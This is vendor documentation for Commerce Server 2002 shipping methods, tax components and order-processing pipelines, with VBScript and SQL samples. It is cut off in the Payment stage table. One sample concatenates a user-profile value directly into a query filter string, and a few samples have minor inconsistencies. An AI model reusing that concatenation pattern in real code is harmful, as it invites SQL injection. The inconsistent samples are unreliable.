For business managers and most site developers, the process of adding shipping methods and installing components is straightforward. Shipping methods using installed components are added through Commerce Server Business Desk. For information about using Business Desk to add shipping methods, see Customizing Shipping Methods.

Similarly, installing third-party shipping pipeline components should be a matter of following the installation instructions.

Component developers, however, who need to test components or provide component installers, need to know how to add custom shipping methods to the multiple-shipment shipping architecture. This process is described in Adding a Custom Shipping Method.

Important

  • Shipping components should expose the IPipelineComponentAdmin::GetConfigData and IPipelineComponentAdmin::SetConfigData methods from the IDispatch implementation, because the Business Desk module(s) that manage these components must be able to call these methods from a late-bound (Active Server Pages) environment.

Adding a Custom Shipping Method

Creating a Custom Shipping Method Page

Adding a Custom Shipping Method

The shipping method editing pages in Business Desk contain two sections, Shipping Method Properties and Rates. Component writers should implement these edit pages in any custom shipping method that they create. The framework handles some of the edit page implementation and all of the list page implementation.

The Shipping Method Properties section is responsible for getting data into and out of the ShippingConfig database table. This data is processed by the ShippingCommon_edit.asp page using edit fields in the top section of the Shipping Method Module in Business Desk. This section also sets up the taskbar for the page and handles all the necessary framework files to make the custom pages fully functional. Be sure to include the ShippingCommon_edit.asp page at the top of any custom shipping method page you create.

The custom shipping method page you create is responsible for processing data in the second section of the page, Custom Properties. This data will reside in the TableShippingRates database table.

Creating a Custom Shipping Method Page

To create a page for your custom data section, begin with an existing page such as the MinMax_edit.asp (or another of the Shipping Method pages) and then customize it.

To create a custom shipping method page

  1. At the top of the page, place a reference to include the file ShippingCommon_edit.asp.
  2. Replace the XML meta- and data-islands with your custom XML meta- and data-islands.
  3. Customize the DIV section to describe the new XML meta- and data-islands.
  4. If necessary, add hidden form input fields to hold values and an event handler (client-side).
  5. Replace the strings in GetActionPageName and GetActionFriendlyName with the names of your custom method page.
  6. Add code to the ProcessCustomShippingData function to handle task button events (loading and saving your custom data).

All the appropriate changes have been made to the shipping page and you are now ready to install it and use it in the Shipping Methods module in Business Desk.

To install the new page

  1. Add information about the new method to the Shipping_methods.xml file in the <drive:>\Inetpub\wwwroot\<Business Desk site name>\Config directory. This information notifies the framework that a new method exists and sets action (posting) information. It will then display the new method as a choice on the taskbar located on the list page, and it will handle posting correctly (see the Shipping_methods.xml file for an example).
  2. Add the new page to <drive:>\Inetpub\wwwroot\<Business Desk site name>\Shipping folder and install and register the custom DLL containing the shipping component (for example, Minmaxatl.dll). When Business Desk is reloaded, your custom module should appear on the menu of the Shipping Methods module list page. When editing this method, your custom components should appear in the lower section of the edit page.


Shipping and Address Structures

The list of shipments produced by the Splitter component contains several nested structures.

The Splitter component in the shipping configuration assigns the list of shipments to the Order.Shipments object. The ShippingMethodRouter component breaks this list down further into a list of shipments_to_process for each individual component run. The list of shipments is a SimpleList object of dictionaries, one for each shipment. The following table shows a sample of the keys in the shipment dictionaries.

Key | Description
shipping_address_id | The ID in the Address dictionary of the dictionary containing the address information.
shipping_method_id | The shipping method ID, taken from the ShippingConfig database table.
shipping_method_name | The name of the shipping method.
_cy_shipment_total | The total shipping cost for the items in this shipment.
ItemIndexes | A SimpleList object of indexes to the line items in the order.

The following example code shows how a component might get at the data in the shipments list:

'' Assume that dContext is the Context dictionary.
For Each dShipment In dContext.shipments_to_process

    '' Get the address information by getting the Address dictionary.
    Set dAddress = dOrder.Addresses(dShipment.address_id)
    '' Manipulate the address information here.

    '' Get the information about each line item in the shipment.
    '' Items is a SimpleList of dictionaries. ItemIndexes stores
    '' the indexes of the items in the current shipment.
    For Each nIndx In dShipment.ItemIndexes
        '' Retrieve the dictionary for the given item.
        dItem = dOrder.Items(nIndx)
        '' Manipulate the individual item dictionary here.
    Next

Next

Each address dictionary contains the following keys:

Key | Description
address_name | Descriptive name for the address.
address_type | Address type: 0 - Neutral. 1 - Shipping. 2 - Billing.
first_name | First name of the addressee.
last_name | Last name of the addressee.
address_line1 | First line of the address.
address_line2 | Second line of the address.
city | City name.
region_name | Name of the state, region, or province.
region_code | Code for the state, region, or province.
postal_code | Postal code.
country_name | Country/region name.
country_code | Country/region code.
tel_number | Telephone number.

Notice that although the shipping address is attached to each item, the billing address is attached to the order. The billing_address_id key identifies which address in the Addresses dictionary is the billing address:

'' dOrder is an Order dictionary.
'' dBillingAddress is a dictionary.
Set dBillingAddress = dOrder.Addresses(dOrder.billing_address_id)

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components


Multilingual Shipping Methods

Creating multilingual shipping methods and descriptions is an important component of providing fully localized content to users. In some cases, the names of the companies that supply shipping services are the same in many languages. However, the descriptions associated with each of the shipping suppliers needs to be localized even if the shipping supplier name does not.

Commerce Server 2002 provides a sample site, the Order sitelet, that demonstrates how to filter shipping methods based on a language identifier. If you use the default configuration for the Solution Sites or any of the other sitelets provided by Commerce Server, and you create shipping methods in multiple languages through Commerce Server Business Desk, all of the shipping methods you create will be displayed to the user on the ASP file used to display shipping methods in your application. To limit the displayed shipping methods to only those matching the preferred language of the user, the GetInstalledMethodList method of the ShippingMethodManager object must be passed a value for the filter parameter, for example, language_id = <user''s preferred language>.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To display multilingual shipping methods in the language preferred by the user

  1. Create the multilingual shipping methods in Business Desk.

    For more information about creating multilingual shipping methods in Business Desk, see Customizing Shipping Methods.

  2. Open the ASP file that is used to display shipping methods on your site. If you are using a Solution Site, the file is pickship.asp; if you are using the Order sitelet, the file is shipping.asp. This file is located at <drive:>\Inetpub\wwwroot\<Site or Sitelet name>\include.
  3. In the line of code that calls the GetInstalledMethodList method, pass the language identifier into the filter property, for example language_id = <user''s preferred language>.

    How you identify the language preferred by the user is at your discretion. In the following code the language is identified from the profile data gathered about the user:

    Dim oShipMgr
Dim oUser
Dim strSelectedLang
Dim rstShipInfo

Set oShipMgr = CreateObject(""Commerce.ShippingMethodManager"")

'' strConnectionString is the connection sting to the database
'' containing the ShippingConfig table.
Call oShipMgr.Initialize(strConnectionString)

'' Get the selected language from the user profile.
strSelectedLang = oUser(""GeneralInfo.SelectedLanguage"")

'' Pass the selected language to the GetInstalledMethodList method.
Set rstShipInfo = oShipMgr.GetInstalledMethodList(""language_id = ''"" & strSelectedLang
& ""''"", vbNullString, Array(""shipping_method_id"",""shipping_method_name""))

'' Write the available shipping methods to the page.
  4. On the File menu, click Save, and then click Exit.

The shipping methods that are displayed to the user are now displayed in the user's preferred language.

See Also

ShippingMethodManager Object


Using Site Server 3.0 Commerce Edition Shipping Components

If you want to use the Site Server 3.0 Commerce Edition single-shipment shipping components, you will first need to remove the Splitter, ShippingMethodRouter, and ShippingDiscountAdjust components from the pipeline. Site Server 3.0 Commerce Edition components do not support the multiple-shipment shipping architecture used in Commerce Server 2002. You must also revert to Site Server 3.0 Commerce Edition tax components, because tax components typically use address and shipment information to configure the taxes. If you are using a site that has a Commerce Server 2002 Active Server Pages (ASP) code base, code changes will also be necessary.

The _cy_shipping_total name/value pair on the OrderForm object stores the total cost of shipping for an order.

The DefaultShipping component sets this name/value pair to zero (0). If you do not want to charge shipping on an order, you can make this the only component in the shipping stage.

In the Site Server 3.0 Commerce Edition single-shipment shipping architecture, components are coordinated to compute the shipping_total. For more information, see Component Coordination.

See Also

Multiple-shipment Shipping Architecture

MinMaxShip Sample Pipeline Component


Using Table Shipping

Table shipping uses values retrieved from a database to set the shipping total for an order.

The TableShippingADO component is designed to retrieve a single currency value from a database table based on a query that you specify, and to write this currency value to the order.[_shipping_total] key. To use this component, perform the following steps:

  1. Determine the basis of the calculation. For example, the basis might be the total weight of all the items in the order, and it might also depend on the shipping method selected by the customer.
  2. Create a table in the site database that stores the shipping cost as a function of the basis.
  3. Create a query designed to retrieve this value. If this query uses a product characteristic such as the total weight of the items in the order form, you might also need to modify the Product Information stage to ensure that this product information is present on the order form.
  4. Configure the property page for the TableShippingADO component to reference this query.

The sections that follow describe how to reference these steps. In this example, you will modify some existing code so that it uses a table to determine shipping costs based on the total weight and the shipping method.

Adding a Weight Attribute to the Product Table

Creating the Shipping Cost Table

Configuring the Component

Special Considerations for Table Shipping


Adding a Weight Attribute to the Product Table

In this example, the weight of each product is used to calculate the shipping cost. For this reason, weight must be specified for every item on your Web site. The following procedure describes how to add a column called ''weight'' to the Product table.

Note

  • This procedure assumes that you are using a site similar to the Site Server 3.0 Commerce Edition sample sites. It also assumes that you are using the QueryProductInfoADO component, and not the QueryCatalogInfo component in your Product Information stage.

To add a database column using SQL Enterprise Manager

  1. Click Start, point to Programs, point Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand the Microsoft SQL Servers node, expand the SQL Server Group node, expand the node for the server that contains the Web site databases, expand the Databases node, expand the name of the database containing your Commerce Server site databases, expand the Objects node, and then expand the Tables node. Double-click the product table for the site. (In this example, the table is called healthy_product.)
  3. In the Manage Tables dialog box, do the following:
    Use this | To do this
    Column Name | Add a new column on the last row named weight.
    Datatype | Select Float.
  4. Click Close to close the dialog box and, when prompted, click Yes to apply your changes.

Next, you need to add the weight column to the query that is used by the QueryProdInfoADO component in the Plan or Basket pipeline for the site. In this example, the name of this query is product_info, and is defined in the Global.asa file.

To add the weight attribute to the product query

  1. Open the Global.asa file for the site using an editor such as Notepad.
  2. Locate the script where product_info is added to the query map. It begins with the following commands:
    Set MSCSQueryMap.product_info = AddQuery(""SELECT
  3. Add pf.weight to the list of columns returned by the SELECT statement. This ensures that the product weight is included in the item list for each product in the order form.


Creating the Shipping Cost Table

You will need to add a shipping cost table to the database. The shipping cost table in this example uses the sum of the weight of each of the items in the items list, as well as the shipping method, as the basis of the shipping cost. The weight of each item is expressed in pounds. The shipping cost is expressed as an integer, in the smallest units of the currency (in this example, pennies). The following SQL script generates such a table:

CREATE TABLE dbo.healthy_shipping_costs (

    shipping_method varchar (20) NOT NULL ,

    min_weight float NOT NULL ,

    max_weight float NOT NULL ,

    cost int NOT NULL

PRIMARY KEY (shipping_method,min_weight,max_weight)

)

GO

truncate table healthy_shipping_costs

go

insert into healthy_shipping_costs values (''shipping_method_1'', 0.0, 2.0, 450)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 2.0, 3.0, 540)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 3.0, 4.0, 630)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 4.0, 5.0, 720)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 5.0, 6.0, 810)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 6.0, 7.0, 900)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 7.0, 8.0, 990)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 8.0, 9.0, 1080)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 9.0, 15.0, 1400)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 15.0, 100.0, 2000)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 0.0, 2.0, 300)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 2.0, 3.0, 390)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 3.0, 4.0, 480)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 4.0, 5.0, 570)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 5.0, 6.0, 660)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 6.0, 7.0, 750)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 7.0, 8.0, 840)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 8.0, 9.0, 930)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 9.0, 15.0, 1000)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 15.0, 100.0, 1200)

go

After creating the shipping cost table, add a query to the QueryMap dictionary for the site. This query should be designed to take as parameters all the values that are used as the basis. In this example, these parameters are the weight of all the items in the order, along with the shipping method. The query should be included among the queries initialized in the Global.asa file for the site, as shown in the following code:

Set MSCSQueryMap.ship_cost = AddQuery(""SELECT cost FROM healthy_shipping_costs WHERE min_weight <= ? AND max_weight > ? AND shipping_method = ?"")

Because the QueryMap dictionary for the site is usually included in the pipe context that is passed to an Order Processing pipeline, the TableShippingADO component can be configured to reference this query.


Configuring the Component

To configure the TableShippingADO component to use the query that you added to the QueryMap dictionary, use the Pipeline Editor to insert the TableShippingADO component into a pipeline.

To insert the TableShippingADO component into a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the location of your existing .pcf file, and open it.

    A graphic of your pipeline appears.

  3. In the Shipping stage of the pipeline graphic, delete the DefaultShipping component, if it exists.
  4. On the Edit menu, point to Insert Component, and then click After.
  5. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select Shipping.
    Components | Select TableShippingADO.
  6. Click OK. The TableShippingADO pipeline component appears as a valve on the pipeline graphic.
  7. Double-click the TableShippingADO component.
  8. In the Component Properties dialog box, on the Table Shipping (ADO) tab, do the following:
    Use this | To do this
    Apply when | Select Has any value, which means that the query is run only when the order form contains a shipping_method value. This setting enables the Plan pipeline to be run in the Basket.asp page, before the customer has selected a shipping method and before the _shipping_cost name/value pair has been added to the order form. The Apply When setting identifies the circumstances under which the value returned by the query is written to the _shipping_cost name/value pair. If this field were set to Always, this component would fail on the Basket page because the query could not run successfully. When the Plan pipeline is run again on the Payment.asp page, the shipping_method name/value pair now appears on the order form, and the ship_cost query is run.
    Method | Leave blank.
    Connection String | Type the connection string name on which the query in the Query box is run.
    Query | Type the name of the query to be run. This example uses ship_cost, the name of the Dictionary entry that was added to the QueryMap dictionary.
    Parameter List Type the values to pass to the query. The first two values must be the same (the weight of the total order), because the weight is used as the first two parameters in the query. The third parameter is the shipping method. To implement this example, enter the following parameter list:
    sumq._product_weight sumq._product_weight order.shipping_method
    Column | Type the name of the column that contains the shipping cost. In this example, this setting equates to the column cost that was defined as part of the shipping table. If no value is entered in this column, the component defaults to the value cost. In addition, if you specify a query that returns multiple rows of data, all rows after the first row are ignored.
  9. Click OK.
  10. To save your changes, on the File menu, click Save.


Special Considerations for Table Shipping

When configuring the TableShippingADO component, keep in mind that if your query references an item in the item Dictionary, you should make sure that the query that you run in the Product Information stage is designed to retrieve that value from the product database. For example, if the TableShippingADO component references _product_weight as a parameter to the component's query, then your product table should contain a column named weight, and your QueryProdInfoADO component should run a query that retrieves this column from storage in the item Dictionary.


Tax Objects

Although Microsoft Commerce Server 2002 includes the Site Server 3.0 Commerce Edition tax components, those components will not work with the new multiple-shipment shipping architecture. Only the SampleRegionalTax pipeline component in Site Server 3.0 Commerce Edition takes into account the multiple-shipment shipping architecture.

Notes

  • The tax components shipped with Commerce Server 2002 are provided only for evaluation and testing purposes. Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by these components before you use such information for personal or business purposes.
  • The tax components assume that all line items are in the same currency. Taxing orders that contain items in more than one currency requires custom development.

This section contains:

  • Site Server 3.0 Commerce Edition Tax Components. Explains how to use Site Server 3.0 tax components.

See Also

SampleRegionalTax


Site Server 3.0 Commerce Edition Tax Components

The Tax stage and other tax components ensure that order._tax_total and order._tax_included keys are set. If not, an error is generated.

If you want to use the Site Server 3.0 Commerce Edition components, you will not be able to use the Splitter, ShippingMethodRouter, and StepwiseShipping components. For information about using Site Server 3.0 Commerce Edition shipping methods, see Using Site Server 3.0 Commerce Edition Shipping Components.

You can run all of the components in the Tax stage unless a fatal error is returned. To cooperate, one component in the tax stage must set the _tax_total key, or a shopper warning is raised. Each component must check the resulting _tax_* values. If these values are already set, the component should return without doing anything. If the values are not set, the component will attempt to calculate the tax and if it is successful, set the _tax_* values.

In addition, some Site Server 3.0 Commerce Edition tax components require that the value of the _ship_to_country key is set to the intended country/region; otherwise, the component will not run.

In each of the tax components, the country/region name can be specified as a parameter even though the name of the country/region is part of the name of the component (for example, SimpleCanadaTax). This is because the name of the component describes only the model for computing sales tax, and not the country/region to which it applies. For example, another country/region might use a tax model similar to Canada's model. Because the country/region name is specified, the tax model (and its corresponding component) can be used for more than one country/region.

See Also

DefaultTaxCy, DefaultTax

SampleRegionalTax

SimpleCanadaTax

SimpleJapanTax

SimpleUSTax

SimpleVATTax

RequiredTaxCy, RequiredTax


Business-to-Consumer Pipelines

The business-to-consumer Order Processing pipelines (OPP) are used in Commerce Server sites designed for retail shopping by the public. These pipelines implement functions that are performed at different times during the shopping process.

This section contains:

  • Product Pipeline (Product.pct). Runs OPP components that compute price and discount information for individual products. This pipeline is often used to compute information that is displayed on the page Product.asp.
  • Plan Pipeline (Plan.pct). Runs OPP components that present the user with an order total, including all promotional discounts, taxes, and shipping and handling charges.
  • Purchase Pipeline (Purchase.pct). Runs OPP components that validate the payment for a user, performs the actual purchase transaction, writes an order to database storage and, optionally, finalizes a receipt by writing the contents of the OrderForm object to the receipt database.


Product Pipeline

The Product pipeline runs components that compute price and discount information for individual products. This pipeline is often used to compute information that is displayed on the page Product.asp.

The template for this pipeline is Product.pct.

The Product pipeline consists of the following stages:

  • Product Info Stage
  • Shopper Information Stage
  • Item Price Stage
  • Item Adjust Price Stage
  • Inventory Stage

Product Info Stage (Product Pipeline)

The Product Info stage contains components that retrieve product information about the items in the items list from the site database. If information about a given item cannot be retrieved, Product Info stage components mark the item for deletion by creating a delete key in the item Dictionary object, and giving it the value ""1"".

After the Product Info components have been run, the RequiredProdInfo component in the Product Info stage goes through the items list, deleting every item marked for deletion.

The following table shows the components related to this stage.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
QueryProdInfoADO | Runs a database query, based on the SKUs in the items list of the OrderForm object, and puts the returned data in the items collection of the OrderForm object. Marks missing items for deletion and adds basket errors as necessary.
RequiredProdInfo | Deletes items marked for deletion and writes the appropriate error messages.

Shopper Information Stage (Product Pipeline)

The Shopper Information stage adds information about the user to the OrderForm object.

The following table shows the components related to this stage.

Component | Description
DefaultShopperInfo | Copies information from the Shopper dictionary in the Context dictionary to the OrderForm object.

Item Price Stage (Product Pipeline)

The Item Price stage sets the _iadjust_regularprice key for each item in the order form.

The Item Price stage contains components that set the _iadjust_regularprice key for each item in the items list, as well as components that verify that this value has been set. If this value cannot be set, an error occurs.

This initialization ensures that the _iadjust_regularprice dictionary key entry contains the most current price information for the given SKU.

The following table shows the components related to this stage.

Component | Description
DefaultItemPriceCy, DefaultItemPrice | For each item in the items list, sets the _iadjust_regularprice key to the value stored in the _product_list_price key.
RequiredItemPriceCy, RequiredItemPrice | Ensures that the _iadjust_regularprice key is set for each item in the items list.

Item Adjust Price Stage (Product Pipeline)

The Item Adjust Price stage contains components to initialize the value of the_iadjust_currentprice key. When the stage is complete, the _iadjust_currentprice key contains the current price of the item, adjusted for sales or promotions.

If no sale or promotion component is included in this stage, the key is set to the value stored in the _iadjust_regularprice key.

After the item._iadjust_currentprice key is set for an item, the item cannot be adjusted a second time. For example, if a stage includes both an ItemPromo and a SaleAdjust component, and an item on the order form qualifies for both the promotion and the sale adjustment, the _iadjust_currentprice key of the item is set by the component that was run first within the stage. This generalization applies for any combination of Item Price Adjust stage components that you include in your pipeline.

Note

  • Do not use this stage to calculate discounts in new pipelines. Use the OrderDiscount component in the Order Adjust Price stage of the Plan pipeline. The OrderDiscount component uses the Commerce Server 2002 Targeting System to apply item and order discounts.

The following table shows the components related to this stage.

Component | Description
ItemPromo | Adjusts the value of the _iadjust_currentprice key, based on promotions.
SaleAdjust | Determines whether an item is on sale. If it is, the SaleAdjust component sets the _iadjust_currentprice key of the item to the value stored in the _product_sale_price key.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Verifies that the _iadjust_currentprice key exists and has a value.

Inventory Stage (Product Pipeline)

The Inventory stage contains components that verify that every item ordered is in stock.

The following table shows the components related to this stage.

Component | Description
FlagInventory | Flags items in the items SimpleList object that are out of stock.
LocalInventory | Checks the OrderForm object to ensure that an item does not require more of a given SKU than is in stock.

See Also

Plan Pipeline

Purchase Pipeline


Plan Pipeline

The Plan pipeline contains fourteen stages. These stages consist of components that verify the integrity of the OrderForm object. For example, if the items list in an OrderForm object contains no items, then the RequiredOrderCheck component in the Order Check stage generates an error.

The template for this pipeline is Plan.pct.

The Plan pipeline template consists of the following stages:

  • Product Info Stage
  • Merchant Information Stage
  • Shopper Information Stage
  • Order Initialization Stage
  • Order Check Stage
  • Item Price Stage
  • Item Adjust Price Stage
  • Order Adjust Price Stage
  • Order Subtotal Stage
  • Shipping Stage
  • Handling Stage
  • Tax Stage
  • Order Total Stage
  • Inventory Stage

Product Info Stage (Plan Pipeline)

The Product Info stage contains components that retrieve product information about items in the items list from the site database. If there is no information about an item, Product Info stage components mark the item for deletion by creating a delete key in the Item dictionary with a value of "1".

After the Product Info stage components run, the RequiredProdInfo component in the stage goes through the items list, and deletes every item marked for deletion.

The following table shows the components related to this stage.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
QueryProdInfoADO | Runs a database query, using Microsoft ActiveX Data Objects (ADO). This component differs from the QueryProdInfo component in that the query that it runs can take multiple parameters, and can reference a query in the QueryMap dictionary.
RequiredProdInfo | Deletes items marked for deletion and writes the appropriate error messages.

Merchant Information Stage (Plan Pipeline)

The Merchant Information stage can retrieve static merchant data and write the data to the OrderForm object. Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom component to process merchant information. For more information see Building Pipeline Components.

Shopper Information Stage (Plan Pipeline)

The Shopper Information stage contains the DefaultShopperInfo component, which adds shopper information to the OrderForm object.

The following table shows the components related to this stage.

Component | Description
DefaultShopperInfo | Copies information from the Shopper dictionary in the Context dictionary to the OrderForm object.

Order Initialization Stage (Plan Pipeline)

The Order Initialization stage sets initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

The following table shows the components related to this stage.

Component | Description
RequiredOrderInitCy, RequiredOrderInit | Initializes the payment authorization code, order ID, totals, and subtotals prior to processing the order.

Order Check Stage (Plan Pipeline)

The Order Check stage verifies that the order can be processed.

The following table shows the components related to this stage.

Component | Description
RequiredOrderCheck | Ensures that there is at least one item in the OrderForm object.

Item Price Stage (Plan Pipeline)

The Item Price stage contains components that set the _iadjust_regularprice key for each item in the items list and components that verify that this value has been set. If this value cannot be set, an error occurs.

This initialization ensures that the _iadjust_regularprice key contains the most current price information for the given item.

The following table shows the components related to this stage.

Component | Description
DefaultItemPriceCy, DefaultItemPrice | For each item in the items list, sets the _iadjust_regularprice key to the value stored in the _product_list_price key.
RequiredItemPriceCy, RequiredItemPrice | Ensures that _iadjust_regularprice key is set for each item in the items list.

Item Adjust Price Stage (Plan Pipeline)

The Item Adjust Price stage contains components to initialize the value of the _iadjust_currentprice key. When the stage is complete, the _iadjust_currentprice key contains the current price of the item, adjusted for sales or promotions.

If no sale or promotion component is included in this stage, the key is set to the value stored in the _iadjust_regularprice key.

After the item._iadjust_currentprice key is set for an item, the item cannot be adjusted a second time. For example, if a stage includes both an ItemPromo and a SaleAdjust component, and an item on the order qualifies for both the promotion and the sale adjustment, the _iadjust_currentprice key of the item is set by the component run first within the stage. This generalization applies for any combination of Item Price Adjust stage components that you include in your pipeline.

Note

  • Do not use this stage to calculate discounts in new pipelines. Use the OrderDiscount component in the Order Adjust Price stage of the Plan pipeline. The OrderDiscount component uses the Commerce Server 2002 Targeting System to apply item and order discounts.

The following table shows the components related to this stage.

Component | Description
ItemPromo | Adjusts the value of the _iadjust_currentprice key, based on promotions.
SaleAdjust | Determines whether an item is on sale. If it is, the SaleAdjust component sets the _iadjust_currentprice key of the item to the value stored in the _product_sale_price key.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Verifies that the _iadjust_currentprice key exists and has a value.

Order Adjust Price Stage (Plan Pipeline)

The Order Adjust Price stage contains components that set the adjusted price of each item.

The item._oadjust_adjustedprice key contains the total cost of a given item. For example, if a user purchases three items costing $5.00 each, and none of the items are discounted, the total for the item is $15.00. If two of the items are sold at the regular price, but the third is sold at half price (because of a discount), the adjusted price is $12.50.

The following table shows the components related to this stage.

Component | Description
DBOrderPromoADO | Queries the database to determine a promotion amount.
OrderDiscount | Applies scheduled discounts to the shopping basket.
RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice | Checks the _oadjust_adjustedprice key member of each item in the items collection to ensure that it is set.

Order Subtotal Stage (Plan Pipeline)

The Order Subtotal stage calculates the subtotal for an order and stores the resulting value in the _oadjust_subtotal key of the OrderForm object. The _oadjust_subtotal key is the sum of the _oadjust_adjustedprice key for all items.

The following table shows the components related to this stage.

Component | Description
DefaultOrderSubtotalCy, DefaultOrderSubtotal | Calculates the subtotal for an order and stores the result in the order._oadjust_subtotal key.
RequiredOrderSubtotalCy, RequiredOrderSubtotal | Checks the order._oadjust_subtotal key to ensure that it is not NULL.

Shipping Stage (Plan Pipeline)

This stage calculates the total shipping charge for the order and sets the order._shipping_total key accordingly. For information about how the components in this stage interact, see Shipping Objects.

The following table shows the components related to this stage.

Component | Description
DefaultShippingCy, DefaultShipping | Ensures the integrity of the OrderForm object by setting the order._shipping_total key to zero (0).
FixedShipping | Sets the order._shipping_total key to a fixed amount.
LinearShipping | Sets the order._shipping_total key by multiplying a rate by the sum of a specified value on the OrderForm object.
ShippingDiscountAdjust | Applies shipping discounts to an order. The component uses the multiple-shipment shipping architecture.
ShippingMethodRouter | Looks up and runs the components to process the shipments and calculates the shipping total for the entire order. The component uses the multiple-shipment shipping architecture.
Splitter | Divides an order into groups based on a list of item keys. The component uses the multiple-shipment shipping architecture.
TableShippingADO | Sets the order._shipping_total key to a value returned by a specified query. Uses Microsoft ActiveX Data Objects (ADO) to perform the query, and can be included in a transacted pipeline.
RequiredShippingCy, RequiredShipping | Checks the OrderForm object to ensure that the order._shipping_total key has been set.

Handling Stage (Plan Pipeline)

If handling charges are not included in the shipping charge, the Handling stage calculates the total handling charge for the order and sets the order._handling_total key accordingly.

Multiple components can be specified to allow for different handling charges depending on the handling component used. You can use the shipping components to calculate shipping and handling charges together. However, some tax systems require shipping and handling charges to be calculated and taxed separately.

This stage verifies that the order._handling_total key is set. If not, it generates an error.

The following table shows the components related to this stage.

Component | Description
DefaultHandlingCy, DefaultHandling | Assigns zero (0) to the order._handling_total key.
FixedHandling | Assigns a fixed amount to the order._handling_total key.
LinearHandling | Calculates the handling by multiplying a rate by the sum of a specified item on the OrderForm object. Assigns the value to the order._handling_total key.
TableHandlingADO | Calculates the handling based on the results of a database query and assigns the value to the order._handling_total key. Uses Microsoft ActiveX Data Objects (ADO) to perform the query and can be included in a transacted pipeline.
RequiredHandlingCy, RequiredHandling | Checks the OrderForm object to ensure that the total handling (order._handling_total key) has been set.

Tax Stage (Plan Pipeline)

The Tax stage computes the sales tax for each item in the order and the sum of tax for the entire order. The stage assigns values to the item._tax_total, order._tax_total, and order._tax_included keys accordingly. Multiple components can be specified to allow for different tax rates depending upon the destination country/region. For information about how these components interact, see Tax Objects.

The following table shows the components related to this stage.

Component | Description
DefaultTaxCy, DefaultTax | Sets the _tax_total and _tax_included keys on the OrderForm object to zero (0).
SampleRegionalTax | Calculates taxes using the multiple shipment features of Commerce Server 2002.
SimpleCanadaTax | Computes taxes for Canada, including GST (goods and services tax) and PST (provincial sales tax).
SimpleJapanTax | Computes the taxes for Japan.
SimpleUSTax | Applies a given tax rate to any order sent to a specified state.
SimpleVATTax | Computes a value-added tax (VAT) on the items.
RequiredTaxCy, RequiredTax | Checks to ensure that the _tax_total and _tax_included keys in the OrderForm object do not have NULL values.

Order Total Stage (Plan Pipeline)

The Order Total stage sums the subtotal (less any discount), tax, shipping, and handling values and assigns the total to the order._total_total key.

The following table shows the components related to this stage.

Component | Description
DefaultTotalCy, DefaultTotal | Writes the total cost of the order to the _total_total key.
RequiredTotalCy, RequiredTotal | Performs a _VERIFY_WITH check of the OrderForm object.

Inventory Stage (Plan Pipeline)

This stage verifies that every item ordered is in stock. For information about how the inventory components interact, see Inventory Objects.

The following table shows the components related to this stage.

Component | Description
FlagInventory | Flags items in the items SimpleList object that are out of stock.
LocalInventory | Checks the OrderForm object to ensure that an item does not require more of a given SKU than is in stock.

See Also

Product Pipeline

Purchase Pipeline


Purchase Pipeline

The Purchase pipeline consists of three stages. These stages use components that accept the final purchase of an order form, write an order to database storage and, optionally, finalize a receipt and write the contents of the OrderForm object to the receipt database.

The Purchase pipeline can be run after you have run an OrderForm object successfully through the Plan pipeline, and have confirmed that the user wants to finalize a purchase.

Because Purchase pipeline components write to a database, a Purchase pipeline is often a transacted pipeline.

The template for this pipeline is Purchase.pct.

The Purchase pipeline template consists of the following stages:

  • Purchase Check Stage
  • Payment Stage
  • Accept Stage

Purchase Check Stage (Purchase Pipeline)

The Purchase Check stage is typically used to verify that the address and credit card information the user provides meets certain criteria.

In the Purchase.pct template, this stage contains no components by default.

This pipeline configuration contains two Scriptor components:

  • Validate Bill_to. Verifies that each of the bill_to_* fields on the order form contain data. If not, the script gets the appropriate message from the MessageManager object, adds the error text to the error list, and returns a return value of two (2) indicating that an error occurred.
  • Validate CC Info. Verifies that each of the credit card fields on the order form contains data, and that the credit card type is one of a list of acceptable values. If not, the script gets the appropriate message from the MessageManager object and adds the error text to the error list, and returns a return value of two (2) indicating that an error occurred.

The following table shows the components related to this stage.

Component | Description
ValidateCCNumber | Performs a standard checksum test on the credit card number and checks the expiration date.

Payment Stage (Purchase Pipeline)

The Payment stage is used to approve credit card payments. It sets the order._payment_auth_code key upon credit card approval. This stage always ensures that the _payment_auth_code key is set. Otherwise, it generates a pur_bad_payment error.

If a credit card is not approved, this stage sets the _payment_auth_code key to DENIED and returns error level 2.

The details of the payment components vary depending on the third-party payment processing system used.

The following table shows the components related to this stage.

Component | Description
